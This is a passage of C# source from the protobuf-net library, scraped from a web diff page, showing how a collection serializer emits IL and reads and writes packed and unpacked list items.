getEnumerator = Helpers.GetInstanceMethod(enumeratorType, "GetEnumerator");
|
||||
iteratorType = getEnumerator.ReturnType
|
||||
#if WINRT
|
||||
.GetTypeInfo()
|
||||
#endif
|
||||
;
|
||||
moveNext = Helpers.GetInstanceMethod(iteratorType, "MoveNext");
|
||||
current = Helpers.GetGetMethod(Helpers.GetProperty(iteratorType,"Current", false), false, false);
|
||||
return getEnumerator;
|
||||
}
|
||||
#if FEAT_COMPILER
|
||||
protected override void EmitWrite(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom)
|
||||
{
|
||||
using (Compiler.Local list = ctx.GetLocalWithValue(ExpectedType, valueFrom))
|
||||
{
|
||||
MethodInfo moveNext, current, getEnumerator = GetEnumeratorInfo(ctx.Model, out moveNext, out current);
|
||||
Helpers.DebugAssert(moveNext != null);
|
||||
Helpers.DebugAssert(current != null);
|
||||
Helpers.DebugAssert(getEnumerator != null);
|
||||
Type enumeratorType = getEnumerator.ReturnType;
|
||||
bool writePacked = WritePacked;
|
||||
using (Compiler.Local iter = new Compiler.Local(ctx, enumeratorType))
|
||||
using (Compiler.Local token = writePacked ? new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken))) : null)
|
||||
{
|
||||
if (writePacked)
|
||||
{
|
||||
ctx.LoadValue(fieldNumber);
|
||||
ctx.LoadValue((int)WireType.String);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader"));
|
||||
|
||||
ctx.LoadValue(list);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem"));
|
||||
ctx.StoreValue(token);
|
||||
|
||||
ctx.LoadValue(fieldNumber);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("SetPackedField"));
|
||||
}
|
||||
|
||||
ctx.LoadAddress(list, ExpectedType);
|
||||
ctx.EmitCall(getEnumerator);
|
||||
ctx.StoreValue(iter);
|
||||
using (ctx.Using(iter))
|
||||
{
|
||||
Compiler.CodeLabel body = ctx.DefineLabel(),
|
||||
@next = ctx.DefineLabel();
|
||||
|
||||
|
||||
ctx.Branch(@next, false);
|
||||
|
||||
ctx.MarkLabel(body);
|
||||
|
||||
ctx.LoadAddress(iter, enumeratorType);
|
||||
ctx.EmitCall(current);
|
||||
Type itemType = Tail.ExpectedType;
|
||||
if (itemType != ctx.MapType(typeof(object)) && current.ReturnType == ctx.MapType(typeof(object)))
|
||||
{
|
||||
ctx.CastFromObject(itemType);
|
||||
}
|
||||
Tail.EmitWrite(ctx, null);
|
||||
|
||||
ctx.MarkLabel(@next);
|
||||
ctx.LoadAddress(iter, enumeratorType);
|
||||
ctx.EmitCall(moveNext);
|
||||
ctx.BranchIfTrue(body, false);
|
||||
}
|
||||
|
||||
if (writePacked)
|
||||
{
|
||||
ctx.LoadValue(token);
|
||||
ctx.LoadReaderWriter();
|
||||
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem"));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
|
||||
#if !FEAT_IKVM
|
||||
public override void Write(object value, ProtoWriter dest)
|
||||
{
|
||||
SubItemToken token;
|
||||
bool writePacked = WritePacked;
|
||||
if (writePacked)
|
||||
{
|
||||
ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest);
|
||||
token = ProtoWriter.StartSubItem(value, dest);
|
||||
ProtoWriter.SetPackedField(fieldNumber, dest);
|
||||
}
|
||||
else
|
||||
{
|
||||
token = new SubItemToken(); // default
|
||||
}
|
||||
bool checkForNull = !SupportNull;
|
||||
foreach (object subItem in (IEnumerable)value)
|
||||
{
|
||||
if (checkForNull && subItem == null) { throw new NullReferenceException(); }
|
||||
Tail.Write(subItem, dest);
|
||||
}
|
||||
if (writePacked)
|
||||
{
|
||||
ProtoWriter.EndSubItem(token, dest);
|
||||
}
|
||||
}
|
||||
public override object Read(object value, ProtoReader source)
|
||||
{
|
||||
int field = source.FieldNumber;
|
||||
object origValue = value;
|
||||
if (value == null) value = Activator.CreateInstance(concreteType);
|
||||
bool isList = IsList && !SuppressIList;
|
||||
if (packedWireType != WireType.None && source.WireType == WireType.String)
|
||||
{
|
||||
SubItemToken token = ProtoReader.StartSubItem(source);
|
||||
if (isList)
|
||||
{
|
||||
IList list = (IList)value;
|
||||
while (ProtoReader.HasSubValue(packedWireType, source))
|
||||
{
|
||||
list.Add(Tail.Read(null, source));
|
||||
}
|
||||
}
|
||||
else {
|
||||
object[] args = new object[1];
|
||||
while (ProtoReader.HasSubValue(packedWireType, source))
|
||||
{
|
||||
args[0] = Tail.Read(null, source);
|
||||
add.Invoke(value, args);
|
||||
}
|
||||
}
|
||||
ProtoReader.EndSubItem(token, source);
|
||||
}
|
||||
else {
|
||||
if (isList)
|
||||
{
|
||||
IList list = (IList)value;
|
||||
do
|
||||
{
|
||||
list.Add(Tail.Read(null, source));
|
||||
} while (source.TryReadFieldHeader(field));
|
||||
}
|
||||
else
|
||||
{
|
||||
object[] args = new object[1];
|
||||
do
|
||||
{
|
||||
args[0] = Tail.Read(null, source);
|
||||
add.Invoke(value, args);
|
||||
} while (source.TryReadFieldHeader(field));
|
||||
}
|
||||
}
|
||||
return origValue == value ? null : value;
|
||||
}
|
||||
#endif
|
||||
|
||||
}
|
||||
}
|
||||
#endif
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue